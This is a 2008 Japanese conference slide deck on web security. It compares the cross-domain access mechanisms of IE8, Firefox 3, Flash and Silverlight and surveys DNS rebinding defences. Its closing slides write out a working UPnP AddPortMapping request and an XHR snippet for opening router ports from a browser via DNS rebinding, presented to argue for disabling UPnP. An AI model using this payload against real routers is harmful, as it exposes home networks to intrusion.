ウェブアプリケーションセキュリティ最新動向
金床 | 株式会社ビットフォレスト | 2008年4月24日 | C6-4
自己紹介
金床(Kanatoko)
■JUMPERZ.NETにてオープンソースのセキュリティ関連ツールを公開
■本名 佐藤匡
■役職 株式会社ビットフォレスト取締役CTO
■主な業務
・セキュアなウェブアプリケーションの開発
・各種セキュリティ関連ソフトウェアの開発
■Javaプログラマ
■著書「ウェブアプリケーションセキュリティ」発売中
新たなテクノロジーが次々に登場
■Internet Explorer 8 (現在Beta版)
■Mozilla Firefox 3 (現在Beta版)
■Flash Player 9.0 / ActionScript 3.0
■Silverlight 2 (現在Beta版)
これら全てにおいてクロスドメインのアクセス機能が
提供されている
クロスドメインアクセス
■www.hoge.trd上のJavaScriptコードがwww.fuga.trdの内容に
アクセスすること(内容を読むこと)
■ウェブブラウザで同時に複数のウェブサイトを訪れている場合、
ログイン中のアプリケーションAの中身を悪意あるサイトBから
読みとられてしまうとマズイので禁止されるべき
■www.hoge.trd上に<script src=“http://www.fuga.trd/gyoe.js”>
がある場合、gyoe.jsはww.hoge.trd上で動作する。
この従来の仕様を「抜け道」として使うJSONPのクロスドメインアク
セスが開発者の間で常識となる
■JSONPがある以上、禁止するのではなく、セキュリティ上の問題が
起こらない形でクロスドメインアクセスを許可しよう、という方向に
Internet Explorer 8 Beta
JavaScriptでのクロスドメインアクセスを可能にする
XDomainRequestが登場
http://msdn2.microsoft.com/en-us/library/cc288060(VS.85).aspx
XDomainRequest コードの例
<script>
var req = new XDomainRequest();
req.onload = xdrLoad;
req.open( 'POST', 'http://www.jumperz.net/foo.jsp' );
req.contentType = 'application/x-www-form-urlencoded';
req.send( 'Hello XDR!' );
function xdrLoad()
{
alert( req.responseText );
}
</script>
XDomainRequestが送信するHTTPリクエスト
POST /foo.jsp HTTP/1.0
←メソッドはGET/POSTのみ
Accept: */*
XDomainRequest: 1
←自動的に付加される
Referer: http://www.jumperz.net/
Content-Type: foobar
←唯一変更できるフィールド
UA-CPU: x86
Pragma: no-cache
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1)
Host: www.jumperz.net
Content-Length: 10
Connection: Keep-Alive
Hello XDR!
←自由な形式のデータ(ただしString)が送信可能
XDomainRequest: 1
■IE8によって自動的に付加される
■ウェブアプリケーション側(サーバー側)で
「XDRのリクエストかどうか」を判定するために使うことができる
■クロスドメインでのデータ提供をまったく考えていないサーバーでは、
WAFなどでこのフィールドをシグネチャにすることで(他サイトの)XSS
や罠ページでXDRが利用された場合の攻撃を検知できる
Content-Type
■XDRではスクリプトから操作できる唯一のリクエストヘッダフィールド
■普通は ”application/x-www-form-urlencoded” などを指定する
XDomainRequestでアクセス可能なHTTPレスポンス
HTTP/1.1 200 OK
Date: Wed, 02 Apr 2008 07:19:39 GMT
Content-Type: text/html;charset=ISO-8859-1
XDomainRequestAllowed: 1
Set-Cookie: JSESSIONID=BCAB4EC4125D;Path=/
Server: [email protected]
Proxy-Connection: close
foo
■”XDomainRequestAllowed: 1”の行がある場合のみ、レスポンスの内容を
スクリプトから読むことができる
■サーバー側が明示的に許可するということ
■同一ドメインへのアクセスでもこの行が必要
XDomainRequestとXMLHttpRequest(XHR)
■XDRではドメインが異なる場合でもリクエストは送信される(XHRでは送信
されずにエラーになる)
■XDRはXHRに比べ制限が厳しい(メソッドがGET/POSTのみに限定、
ヘッダフィールドがContent-Typeに限定)
■XDRではopen()の引数が2つだけ
■XDRはXHRとは異なりレスポンスヘッダの内容にはアクセスできない
その他XDomainRequestについて
■自由度が低い分、安全性は高い
■特にヘッダにアクセスできない点がよい
■シンプルでとても使いやすい
Mozilla Firefox 3 Beta 4
XMLHttpRequestでクロスドメインアクセスが可能に
http://developer.mozilla.org/en/docs/Cross-Site_XMLHttpRequest
http://www.w3.org/TR/access-control/
Firefox3のXHRでクロスドメインアクセス
■基本的には従来と同じコードでクロスドメインアクセスできる
■クロスドメインアクセスの場合ヘッダフィールドにアクセスできない
・setRequestHeader()を呼び出すとエラー
・getAllResponseHeaders() はnullを返す
■GETとそれ以外のメソッドの場合で動作が大きく異なる
Firefox3のXHRでアクセス可能なHTTPレスポンス
HTTP/1.1 200 OK
Date: Wed, 02 Apr 2008 14:55:32 GMT
Server: [email protected]
Content-Type: text/html;charset=ISO-8859-1
Access-Control: allow <*.jumperz.net>
Keep-Alive: timeout=15, max=99
Content-Length: 3
foo
■基本的にはIE8などと同様にレスポンスヘッダでアクセスを許可する
■ドメインの指定などが可能
■サーバー側が明示的に許可するということ
GETの場合に飛ぶHTTPリクエスト
GET / HTTP/1.1
Host: www3.jumperz.net
User-Agent: Mozilla/5.0 (略)Gecko/2008030714 Firefox/3.0b4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-gb,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Referer: http://www.jumperz.net/test.jsp
Access-Control-Origin: http://www.jumperz.net
Cookie: JSESSIONID=3FB0838314CA8AE3571ADC2A7759BE8D
Connection: keep-alive
■Access-Control-Originフィールドは自動的に付加される
■サーバー側で送信元のサイトを把握することが可能
GET以外のメソッドで先に飛ぶリクエスト
OPTIONS / HTTP/1.1
←必ずOPTIONS
Host: www3.jumperz.net
User-Agent: Mozilla/5.0(略) Gecko/2008030714 Firefox/3.0b4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-gb,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Access-Control-Origin: http://www.jumperz.net
Cookie: JSESSIONID=3FB0838314CA8AE3571ADC2A7759BE8D
Connection: keep-alive
■ method-check-requestと呼ばれる
■レスポンスヘッダにAccess-Control: allowなどを入れることで
続けて本来のHTTPリクエストが送信される
かなり柔軟なアクセスコントロールが可能
http://www.w3.org/TR/access-control/より
Table of Contents
* 1. Introduction
* 2. Conformance Criteria
o 2.1 Terminology
* 3. Security Considerations
* 4. Syntax
o 4.1 Access Item
o 4.2 Access-Control HTTP Response Header
o 4.3 <?access-control?> Processing Instruction
o 4.4 Access-Control-Max-Age HTTP Response Header
o 4.5 Access-Control-Policy-Path HTTP Response Header
o 4.6 Access-Control-Origin HTTP Request Header
* 5. Processing Model
o 5.1 Cross-site Access Request
+ 5.1.1 Cross-site GET Access Request
+ 5.1.2 Cross-site Non-GET Access Request
+ 5.1.3 Generic Cross-site Access Request Algorithms
o 5.2 Access Control Check
+ 5.2.1 Access Control Check Algorithm
+ 5.2.2 Shared Algorithm
o 5.3 Access Item Check
* Requirements
* Use Cases
* Design Decision FAQ
* References
* Acknowledgments
その他Firefox3のXHRについて
■W3Cの規格に沿う形で実装されている
■OPTIONSが自動的に飛ぶあたりがわかりにくい
■柔軟性は高いが使うのは少し面倒かも
■ヘッダフィールドへのアクセスは禁じられていることなどは
セキュリティ的にはいいかんじ
Flash Player 9
■以前からcrossdomain.xmlを利用したポリシーのロードに
よりクロスドメインアクセスが可能だった
(XDR、XHRよりも先進的だった)
■リクエストヘッダフィールドにもアクセスが可能だったため、
セキュリティ上の問題が存在した
(例:UPnP、ApacheのXSS、Referer偽装によるCSRF)
リクエストヘッダフィールドを操作するコードの例
var url:String = "http://www.example.com/";
var request:URLRequest = new URLRequest( url );
var vars:URLVariables = new URLVariables();
vars.data = "foobar";
request.method = "POST";
request.requestHeaders.push( new URLRequestHeader( "Foo", "bar" ) );
request.data = vars;
navigateToURL( request, "_self" );
Flash Player 9.0.115.0あるいは次期リリースでの変更点
■操作可能なリクエストヘッダをポリシーファイルで明示する
crossdomain.xmlの例:
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-http-request-headers-from domain="www.example.com" headers="MyHeader"/>
</cross-domain-policy>
Flash Player 9のSocketについて
■独自のプロトコルによるポリシーローディング
■crossdomain.xml(HTTP)とは別の方法
■新しいバージョンではDNS Rebinding対策が行われた
■接続先ホスト名を名前解決し、IPアドレスが変更されている
場合には自動的にポリシーローディングが行われる
■843番ポートをデフォルトとして使用
その他Flash Player 9最新版について
■手元のテストでは一部うまく動作せず
(リクエストヘッダフィールドが従来と同じように操作できてしまう)
■最新版のFlash Playerではその他にも多数のセキュリティ関連の
仕様変更が行われている
■元々複雑だったが、さらにややこしくなった。ドキュメントがやや冗長
■Adobeがセキュリティについて真剣に取り組んでいることは伝わってくる
■関連URL
http://www.adobe.com/devnet/flashplayer/articles/flash_player9_security_update.html
http://www.adobe.com/devnet/flashplayer/articles/fplayer9_security.html
http://kb.adobe.com/selfservice/viewContent.do?externalId=kb403185&sliceId=2
Silverlight 2 Beta (HTTPのクロスドメインアクセスについて)
■Flashと同様にファイルによってポリシーロードを行う
■まず/clientaccesspolicy.xmlを探し、404の場合は/crossdomain.xmlを探す
<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from>
<domain uri="*"/>
</allow-from>
<grant-to>
<resource path="/" include-subpaths="true"/>
</grant-to>
</policy>
</cross-domain-access>
</access-policy>
Silverlight 2 Beta (Socketについて)
■ファイルが置かれているサーバーにのみ接続可能
■4502番~4532番にのみ接続可能
■DNS Rebinding対策がはじめからされている(GJ)
■接続先IPアドレスを逆引きしてホスト名と一致することを確認
各テクノロジーのHTTPクロスドメインアクセスについて
■IE8のXDR
XDomainRequestAllowed: 1
■FF3のXHR
Access-Control: allow <*.jumperz.net>
■Flash
crossdomain.xml
■Silverlight
clientaccesspolicy.xml
Silverlightがcrossdomain.xmlも使える点以外は
ほぼ完全にバラバラ
DNS Rebinding 最新情報
■JavaVMで対策が行われた(1.6.0_03)
Socket socket = new Socket( "www.jumperz.net", 110 );
www.jumperz.netが218.45.25.5に解決される場合
さらに
www.jumperz.net.auth.5.25.45.218.in-addr.arpa
が218.45.25.5に名前解決される必要がある
■スタンフォードの論文を参考にしたと思われる
■逆引き設定が必要なので敷居が高い
■参考URL:
http://sunsolve.sun.com/search/document.do?assetkey=1-26-103078-1
DNS Rebinding 最新情報 続き
■FlashのSocketも対策が行われた(説明済)
■Silverlight 2 BetaのSocketも対策されている(説明済)
Java / Flash / Silverlight の3つで見事に対策がバラバラ
DNS RebindingとUPnPの問題について
■ウェブブラウザ上の悪意あるコードがUPnPの機能を利用して
ルーターに穴を開けてしまう攻撃手法が報告される
http://www.gnucitizen.org/blog/hacking-the-interwebs/
■クロスドメインでPOSTリクエストを飛ばす攻撃
↑のpdpのPoCではFlashが使われている
■そもそもUPnPは無効にしておくべき
(過去に山田オルタナティブなどが悪用した例あり)
ルーターに穴をあけるHTTPリクエスト
POST /upnp/control/WANPPPConn1 HTTP/1.1
Host: 192.168.2.1:2869
Content-Type: application/xml
Content-Length: 1242
SOAPAction: urn:schemas-upnp-org:service:WANPPPConnection:1#AddPortMapping
Connection: keep-alive
<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV=“http://schemas.xmlsoap.org/soap/envelope/”
(都合により改行してます)
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewRemoteHost xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string"></NewRemoteHost>
<NewExternalPort xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="ui2">1337</NewExternalPort>
<NewProtocol xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string">TCP</NewProtocol>
<NewInternalPort xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="ui2">31337</NewInternalPort>
<NewInternalClient xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string">192.168.2.3</NewInternalClient>
<NewEnabled xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="boolean">1</NewEnabled>
<NewPortMappingDescription xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string">EVILFORWARDRULE2
</NewPortMappingDescription>
<NewLeaseDuration xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="ui4">0</NewLeaseDuration>
</m:AddPortMapping>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
SOAPActionヘッダフィールドを追加するところがポイント
ブラウザ経由でのUPnP攻撃の危険性
■ルーターによってUPnPを受け付けているポートやURLが異なる
■本来ならUDPによってこれらの情報を解決するが、ブラウザ上の悪意ある
コードはこのプロセスは行うことができず、推測/ブルートフォースを行う
■そもそもまずルーターのIPアドレスを調べる必要がある
■IPアドレスは192.168.1.1を代表に軽くブルートフォース、ルーターが発見
されたら画像ファイルなどの存在で機種特定などを行えば現実味のある攻撃
になる(?)
■我が家の2つのルーターでは2869番及び5432番ポートが使われていた
(5432はPostgreSQLでは…)
DNS Rebinding on JavaScriptとUPnP攻撃の組み合わせが可能
■JavaScriptさえ有効になっていれば攻撃可能
■IE6、FF2、FF3、Opera9.26で動作確認
おそらくIE7/IE8も攻撃可
■XHRでSOAPActionヘッダフィールドを追加する
コードの例:
request1.open( 'POST', 'http://<%= id %>.jumperz.net:2869/upnp/control/WANPPPConn1',false );
request1.setRequestHeader( 'SOAPAction', 'urn:schemas-upnp-org:service:WANPPPConnection:1#AddPortMapping' );
request1.send( upnpStr );
■HTTPだけでなくTCP/UDPレベルでイントラネットに侵入される
■UPnPを無効にすることを強く推奨
最後のスライドです
ダウンロード

ウェブアプリケーションセキュリティ最新動向